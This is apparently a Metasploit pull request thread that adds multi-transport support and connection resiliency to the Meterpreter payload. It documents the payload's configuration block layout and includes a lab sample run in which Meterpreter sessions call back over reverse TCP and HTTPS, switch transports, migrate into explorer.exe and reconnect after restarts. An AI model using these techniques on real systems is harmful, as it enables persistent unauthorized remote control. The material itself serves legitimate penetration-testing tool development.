Multi transport support, connection resiliency changes, payload ports, and more

[OJ]

Overview

This PR provides the basis for support of multiple transport mechanisms within the one Meterpreter session. The goal ultimately is to be able to utilise multiple transports at the same time and having MSF handle things gracefully behind the scenes regardless of which communication channel is successful. This PR doesn't quite get that far, but does provide the ability to:

• Add new transport mechanisms on the fly
• Query all configured transport mechanisms
• Change transports on the fly
• Automatically cycle through the transport lists when the transport mechanism fails (ie. session persistence)

While we still only have the ability to talk to one transport at a time, the resiliency of the shells should go up as the code now automatically tries each of the specified transports (using timeouts configured individually) until the session expires.

Timeouts that are transport-specific can be modified on the fly, and the session time (for the entire Meterpeter session) can be modified separately as well.

This PR relies on the Meterpreter binaries being updated as well. The PR for those updates can be found in the Meterpreter repo over here: rapid7/meterpreter#156

Configuration changes

This code comes with a stack of changes around how Meterpreter sessions are configured. Originally we had global variables stored in the Meterpreter binaries that had known values in them prior to being run. These values were modified via a search-and-replace feature. Meterpreter was loaded from disk, patched with these values, and then uploaded to the target.

This is no longer the case. The contents of Meterpreter itself are no long patched directly. Instead a new "configuration block" has been created that contains all of the session, transport and stageless extension information. A pointer to this block of memory is given to Meterpreter on start up.

The configuration is made up of 3 different possible sections

1. Session, containing:
   1. comms_fd : Any existing socket handle for communications, or 0 (32-bit unsigned integer)
   2. exit_func : One of the pre-determined exit function constants, or 0 (32-bit unsigned integer)
   3. expiry : The number of whole seconds until the Meterpreter session should end (32-bit signed integer)
   4. uuid : The UUID of the session (64 chars)
2. Transport (1 or more), containing:
   1. Common : a block that contains data common to any transport type, containing:
      1. url : The URL of the transport (512 chars)
      2. comms_timeout : Timeout in whole seconds for when communicatiosn fails
      3. retry_total : Time in whole seconds that Meterpreter should continue to retry on this transport.
      4. retry_wait : Time in whole seconds between each reconnection attempt.
   2. Transport-specific data. The only time this is used is when HTTP/S payloads are used as they have more data required. That data includes:
      1. proxy, which contains all the proxy information:
         1. hostname : Proxy host name (128 chars)
         2. username : Proxy user name (64 chars)
         3. password : Proxy password (64 chars)
      2. ua : User agent to use when making requests (256 chars)
      3. cert_hash: The SHA1 hash of the certificate to validate against (20 bytes)
3. Extensions (0 or more), containing:
   1. size : Size of the extension in bytes (32-bit unsigned integer)
   2. dll : The binary data of the extension itself (array of bytes, size long)

Meterpreter knows that it has reached the end of each individual transport configuration block when a single NULL character is found at the start of the block's url. It is then assumed that immediately after this character that the extensions information is present.

Meterpreter will continue to loop through stageless extensions until it finds an extension size of 0.

When the Meterpreter payload is generated a block of configuration is created that looks like this:

+-------------+
|   Session   |
+-------------+
| Transport 1 |
| Transport 2 |
|     .       |
|     .       |
| Transport N |
+-------------+
| Extension 1 |
| Extension 2 |
|     .       |
|     .       |
| Extension N |
+-------------+

This configuration block is written to memory immediately after the metsrv payload. Originally we used the reflectivedllinject payload type when creating these payloads, but this doesn't happen any more. The reflectivedllinject payload invokes the underlying DLL and passes in the socket handle that is found in edi. Rather than mess we this and damaging other payload types, there's now a new custom one called meterpreter_loader, which effectively does the same thing, but with the following differences:

• Calculates the location of the configuration block in memory on the fly
• Copies any existing socket handle into the configuration block on the fly
• Invokes metsrv passing in a pointer to the configuration block

Therefore, when the payload gets uploaded, this is what it looks like:

+-----------------+
|  Patched metsrv |
|    PE header    |
+-----------------+
|                 |
|                 |
|                 |
|                 |
|   metsrv body   |
|                 |
|                 |
|                 |
|                 |
|                 |
+-----------------+
| +-------------+ |
| |   Session   | |
| +-------------+ |
| | Transport 1 | |
| | Transport 2 | |
| |     .       | |
| |     .       | |
| | Transport N | |
| +-------------+ |
| | Extension 1 | |
| | Extension 2 | |
| |     .       | |
| |     .       | |
| | Extension N | |
| +-------------+ |
+-----------------+

From there, the code in the payload and metsrv does the rest.

Notes

• The changes in this PR along with those made to Meterpreter are breaking changes and hence when new binaries are in place, MSF will need to be in sync.
• Transports can currently be added, but we don't yet have the ability to remove them. That's coming later, as we need to have a chat about design first.
• We currently only have next and prev commands to cycle through existing transports, which requires knowledge of the relationships between the transports in the list. We will need to come up with a way of saying "jump to this one".
• Bind transports are still supported, but not that if a bind payload is used and the connection dies, Meterpeter will rebind to the same interface/port and wait for a new connection to come in from MSF, and this needs to be kicked off again by the MSF user.
• This work includes ported payloads (from plain bytes to Metasm) and so they need to be looked at as well.
• Payloads don't yet have the resiliency stuff built in, that will come in another PR (this was already big enough).
• A lot of stuff has changed in here, so I'm super keen to get very critical eyes over as much as possible. There's no doubt going to be things that I've done wrong, and stuff that I've broken as a result. Any and all feedback is greatly appreciated so that we can mitigate any damage that's done by getting this in.

Sample Run

Here are some of the jobs we'll be using

Jobs
====

  Id  Name                    Payload                                LPORT  URIPATH  Start Time
  --  ----                    -------                                -----  -------  ----------
  0   Exploit: multi/handler  windows/meterpreter/reverse_tcp        5000            2015-05-05 11:15:12 +1000
  1   Exploit: multi/handler  windows/meterpreter_reverse_tcp        5005            2015-05-05 11:15:12 +1000
  5   Exploit: multi/handler  windows/meterpreter_reverse_https      5205            2015-05-05 11:15:12 +1000

All of this stuff should be reproducable with any transport combinations so long as you don't mix up the platform.

View the existing list of transports, the * shows the 'active' transport:

meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:34:08

    Curr  URL                    Comms T/O  Retry Total  Retry Wait
    ----  ---                    ---------  -----------  ----------
    *     tcp://10.1.10.40:5000  300        3600         10

We can add using the add subcommand of the transport command

meterpreter > transport add -t reverse_https -l 10.1.10.40 -p 5205 -ua 'Test User Agent' -rw 50
[*] Adding new transport ...
[+] Successfully added reverse_https transport.
meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:34:08

    Curr  URL                                                                                                                                                       Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                                                                                                       ---------  -----------  ----------
          https://10.1.10.40:5205/0YCUyqYYWpeZ3ZjczJWHzQq_HWQnF1JwGtDJE8JrKNC-ZtApjLWa8iaciYCBpceicBNrA5heOKxiME2XWDYePkfuA31e4PjYzgG_RGpL3b7g5b-Rq39BYih2MxAlNJC/  300        3600         50
    *     tcp://10.1.10.40:5000                                                                                                                                     300        3600         10

With a http/s payload in place, the -v flag becomes useful to see the extra parameters:

meterpreter > transport list -v
Session Expiry  : @ 2015-05-12 11:34:08

    Curr  URL                                                                                                                                                       Comms T/O  Retry Total  Retry Wait  User Agent       Proxy Host  Proxy User  Proxy Pass  Cert Hash
    ----  ---                                                                                                                                                       ---------  -----------  ----------  ----------       ----------  ----------  ----------  ---------
          https://10.1.10.40:5205/0YCUyqYYWpeZ3ZjczJWHzQq_HWQnF1JwGtDJE8JrKNC-ZtApjLWa8iaciYCBpceicBNrA5heOKxiME2XWDYePkfuA31e4PjYzgG_RGpL3b7g5b-Rq39BYih2MxAlNJC/  300        3600         50          Test User Agent                                      
    *     tcp://10.1.10.40:5000                                                                                                                                     300        3600         10                              

And from here we can move to the next transport:

meterpreter > transport next
[*] Changing to next transport ...

[*] 10.1.10.45:60209 (UUID: d18094caa6185a97/x86=1/windows=1/2015-05-05T01:34:08Z) Attaching orphaned/stageless session ...
[+] Successfully changed to the next transport, killing current session.

[*] 10.1.10.45 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > [*] Meterpreter session 2 opened (10.1.10.40:5205 -> 10.1.10.45:60209) at 2015-05-05 11:37:30 +1000

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN-8RDFKU33NLH
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : en_GB
Meterpreter     : x86/win32
meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:34:08

    Curr  URL                                                                                                                                                       Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                                                                                                       ---------  -----------  ----------
          tcp://10.1.10.40:5000                                                                                                                                     300        3600         10
    *     https://10.1.10.40:5205/0YCUyqYYWpeZ3ZjczJWHzQq_HWQnF1JwGtDJE8JrKNC-ZtApjLWa8iaciYCBpceicBNrA5heOKxiME2XWDYePkfuA31e4PjYzgG_RGpL3b7g5b-Rq39BYih2MxAlNJC/  300        3600         50

It's trivial to move back to the original transport, but given that the original listener is a staged listener it will attempt to send the stage down the wire. This stage is ignored by a stageless payload:

meterpreter > transport prev
[*] Changing to previous transport ...

[*] Sending stage (883358 bytes) to 10.1.10.45
[+] Successfully changed to the previous transport, killing current session.

[*] 10.1.10.45 - Meterpreter session 2 closed.  Reason: User exit
msf exploit(handler) > [*] Meterpreter session 3 opened (10.1.10.40:5000 -> 10.1.10.45:60211) at 2015-05-05 11:39:38 +1000

msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:34:08

    Curr  URL                                                                                                                                                       Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                                                                                                       ---------  -----------  ----------
          https://10.1.10.40:5205/0YCUyqYYWpeZ3ZjczJWHzQq_HWQnF1JwGtDJE8JrKNC-ZtApjLWa8iaciYCBpceicBNrA5heOKxiME2XWDYePkfuA31e4PjYzgG_RGpL3b7g5b-Rq39BYih2MxAlNJC/  300        3600         50
    *     tcp://10.1.10.40:5000                                                                                                                                     300        3600         10

With the previous work done on the connection resiliency, we should be able to completely restart MSF, and have our connection come back, this time on the second transport that we've added because the first one has technically "failed" (ie. it's round-robin):

meterpreter > background
[*] Backgrounding session 3...
msf exploit(handler) > exit -y
$ ./msfconsole -r ~/msf.rc
.. lots of noise ..
[*] Meterpreter session 1 opened (10.1.10.40:5205 -> 10.1.10.45:60228) at 2015-05-05 11:41:33 +1000

msf exploit(handler) > sessions -l -v

Active sessions
===============

  Id  Type                   Information                                  Connection                                        Via                    PayloadId
  --  ----                   -----------                                  ----------                                        ---                    ---------
  1   meterpreter x86/win32  WIN-8RDFKU33NLH\OJ Reeves @ WIN-8RDFKU33NLH  10.1.10.40:5205 -> 10.1.10.45:60228 (10.1.10.45)  exploit/multi/handler  d18094caa6185a97/x86=1/windows=1/2015-05-05T01:34:08Z


sf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:34:08

    Curr  URL                                                                                                                                                       Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                                                                                                       ---------  -----------  ----------
          tcp://10.1.10.40:5000                                                                                                                                     300        3600         10
    *     https://10.1.10.40:5205/0YCUyqYYWpeZ3ZjczJWHzQq_HWQnF1JwGtDJE8JrKNC-ZtApjLWa8iaciYCBpceicBNrA5heOKxiME2XWDYePkfuA31e4PjYzgG_RGpL3b7g5b-Rq39BYih2MxAlNJC/  300        3600         50

And to show it still works, let's add a new tcp transport that points to the stageless endpoint and jump straight to it:

meterpreter > transport change -t reverse_tcp -l 10.1.10.40 -p 5005
[*] Changing to new transport ...
[+] Successfully added reverse_tcp transport, killing current session.

[*] 10.1.10.45 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > [*] Meterpreter session 2 opened (10.1.10.40:5005 -> 10.1.10.45:60230) at 2015-05-05 11:48:32 +1000

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:34:08

    Curr  URL                                                                                                                                                       Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                                                                                                       ---------  -----------  ----------
          tcp://10.1.10.40:5000                                                                                                                                     300        3600         10
          https://10.1.10.40:5205/0YCUyqYYWpeZ3ZjczJWHzQq_HWQnF1JwGtDJE8JrKNC-ZtApjLWa8iaciYCBpceicBNrA5heOKxiME2XWDYePkfuA31e4PjYzgG_RGpL3b7g5b-Rq39BYih2MxAlNJC/  300        3600         50
    *     tcp://10.1.10.40:5005                                                                                                                                     300        3600         50

We can also query and modify the timeouts for the current session and transport directly:

meterpreter > get_timeouts 
Session Expiry  : @ 2015-05-12 11:34:08
Comm Timeout    : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 50 seconds
meterpreter > set_timeouts 
Usage: set_timeouts [options]

Set the current timeout options.
Any or all of these can be set at once.

OPTIONS:

    -c <opt>  Comms timeout (seconds)
    -h        Help menu
    -t <opt>  Retry total time (seconds)
    -w <opt>  Retry wait time (seconds)
    -x <opt>  Expiration timout (seconds)


meterpreter > set_timeouts -x 300 -c 60 -r 60 -w 5
Session Expiry  : @ 2015-05-05 11:55:37
Comm Timeout    : 60 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 5 seconds

If the session does actually expire, then the session will die:

meterpreter > set_timeouts -x 5
Session Expiry  : @ 2015-05-05 11:51:16
Comm Timeout    : 60 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 5 seconds
meterpreter > 
[*] 10.1.10.45 - Meterpreter session 2 closed.  Reason: Died

Firing up a new x64 session, we can demonstrate that transports do in fact move along when the session is migrated:

meterpreter > sysinfo
Computer        : WIN-8RDFKU33NLH
OS              : Windows 8 (Build 9200).
Architecture    : x64
System Language : en_GB
Meterpreter     : x64/win64
meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:52:02

    Curr  URL                    Comms T/O  Retry Total  Retry Wait
    ----  ---                    ---------  -----------  ----------
    *     tcp://10.1.10.40:6005  300        3600         10

meterpreter > transport add -t reverse_https -l 10.1.10.40 -p 6205
[*] Adding new transport ...
[+] Successfully added reverse_https transport.
meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:52:01

    Curr  URL                                                                          Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                          ---------  -----------  ----------
          https://10.1.10.40:6205/H3OL2Bp_zjv_t_60qv_mnQfkb3e7VfOBoIJeha8ypSVe-lLA_r/  300        3600         10
    *     tcp://10.1.10.40:6005                                                        300        3600         10

meterpreter > ps -S explorer
Filtering on process name...

Process List
============

 PID  PPID  Name          Arch    Session  User                       Path
 ---  ----  ----          ----    -------  ----                       ----
 324  1996  explorer.exe  x86_64  1        WIN-8RDFKU33NLH\OJ Reeves  C:\Windows\Explorer.EXE


meterpreter > migrate 324
[*] Migrating from 2752 to 324...
[*] Migration completed successfully.
meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:52:03

    Curr  URL                                                                          Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                          ---------  -----------  ----------
          https://10.1.10.40:6205/H3OL2Bp_zjv_t_60qv_mnQfkb3e7VfOBoIJeha8ypSVe-lLA_r/  300        3600         10
    *     tcp://10.1.10.40:6005                                                        300        3600         10

meterpreter > transport next
[*] Changing to next transport ...

[*] 10.1.10.45:60239 (UUID: 1f738bd81a7fce3b/x64=3/windows=1/2015-05-05T01:13:14Z) Attaching orphaned/stageless session ...
[+] Successfully changed to the next transport, killing current session.

[*] 10.1.10.45 - Meterpreter session 3 closed.  Reason: User exit
msf exploit(handler) > [*] Meterpreter session 4 opened (10.1.10.40:6205 -> 10.1.10.45:60239) at 2015-05-05 11:58:32 +1000

msf exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > transport list
Session Expiry  : @ 2015-05-12 11:52:03

    Curr  URL                                                                          Comms T/O  Retry Total  Retry Wait
    ----  ---                                                                          ---------  -----------  ----------
          tcp://10.1.10.40:6005                                                        300        3600         10
    *     https://10.1.10.40:6205/H3OL2Bp_zjv_t_60qv_mnQfkb3e7VfOBoIJeha8ypSVe-lLA_r/  300        3600         10

We also have the new uuid command for informational purposes:

meterpreter > uuid
[+] UUID: 1f738bd81a7fce3b/x64=3/windows=1/2015-05-05T01:13:14Z

This is used behind the scenes in various ways.

Verification

I apologise to the poor folks to have to go through this, because it's going to be epic (I think). Given that this stuff mucks with almost everything, almost everything has to be validated.

• All existing Windows x86 payloads function the same as they did before (shell, Meterpreter, vnc, etc).
• All existing Windows x64 payloads function the same as they did before (shell, Meterpreter, vnc, etc).
• All existing POSIX x86 payloads function the same as they did before (shell, Meterpreter).
• Migration on Windows works from x86 to x86
• Migration on Windows works from x86 to x64
• Migration on Windows works from x64 to x64
• Migration on Windows works from x64 to x86
• Migration on Linux works. I know this doesn't work right now, and so I'll need some help from the likes of Juan and Brent to get this over the line (I could never get it working regardless).
• Addition of transport works.
• Moving across transports work (prev and next).
• uuid works.
• After backgrounding a session and exiting MSF using exit -y, shells should reconnect when MSF is restarted and listeners set up again.
• Binaries generated from staged payloads should exit cleanly (including HTTP/S).
• Binaries generated from stageless payloads should exit cleanly (including HTTP/S).
• reverse_http/s payloads now exit cleanly (ie. this fixes Meterpreter - Reverse HTTP/HTTPS - process not quitting #4097).

Things to do before this can be landed

• Add a delete command for transports.
• Fix up linux migration

Thanks

Thanks to everyone to helps get this in. I appreciate the support.

[OJ]

@hmoore-r7 staticness added. Thanks for picking that up. I had also missed the reverse_tcp stager for x64.

[OJ]

@bcook-r7 I was super concerned about breaking the existing payloads and that's why we went with the new meterpreter_loader. This meant that we could go and muck with the Meterpeter stages only, and not impact "all the thingz". You're right to be concerned though. I appreciate your keen eye.

[hdm]

The payload_uuid rework looks good, thanks!

[OJ]

Come on travis, Y U NO BUILD?!

[bcook-r7]

metasploit-payloads 0.0.5 should be testable with this now. I'll spin another tomorrow with machine_id improvements for windows.

[bcook-r7]

Quick note, migration on Linux does indeed get broken here. Though after testing master with a few different distros, it really works in a limited range of circumstances - Ubuntu 12.04 and 10.04 i386 work fine, but Debian did not.

[bcook-r7]

It looks like all we need to do is update the migration payload generator for linux to append a proper configuration block like the stager does.

My work-in-progress patch to add the config block is here:
busterb@5548724

I'm not quite sure how to get a properly formatted transport block for regenerating the payload for migration.

[bcook-r7]

Do we also need the delete transport command implemented before this can land? Adding that would need new bins it seems.

For the sake of unblocking, I'm willing to live temporarily with Linux migration failing, since it is of fairly limited utility, and this fixes some higher-priority bugs.

[OJ]

Thanks Brent. I was never able to get Linux migration functioning locally so I had no scenario to test it. Thank you again for looking at it. Unblocking might be a good idea, and I'll put a bug together that describes what needs to be fixed.

I think that I can do the transport deletion in another PR, this is already big enough. What do you think?

Also, it seems that this PR needs remerging. Shall I sort that out prior to you landing?

Thanks again!

[bcook-r7]

Yep, yep and yep

[bcook-r7]

Well, that was an interesting experience! Hopefully we'll be able to manage smaller chunks moving forward. Cheers.

[OJ]

Thank you very much @bcook-r7 for wading through that. I expect some teething issues, but I'm here to react accordingly.

Cheers, I owe you some beverages.

[OJ]

And yes, I would expect all future PRs to be substantially smaller. This just had an impact on so many parts of the system.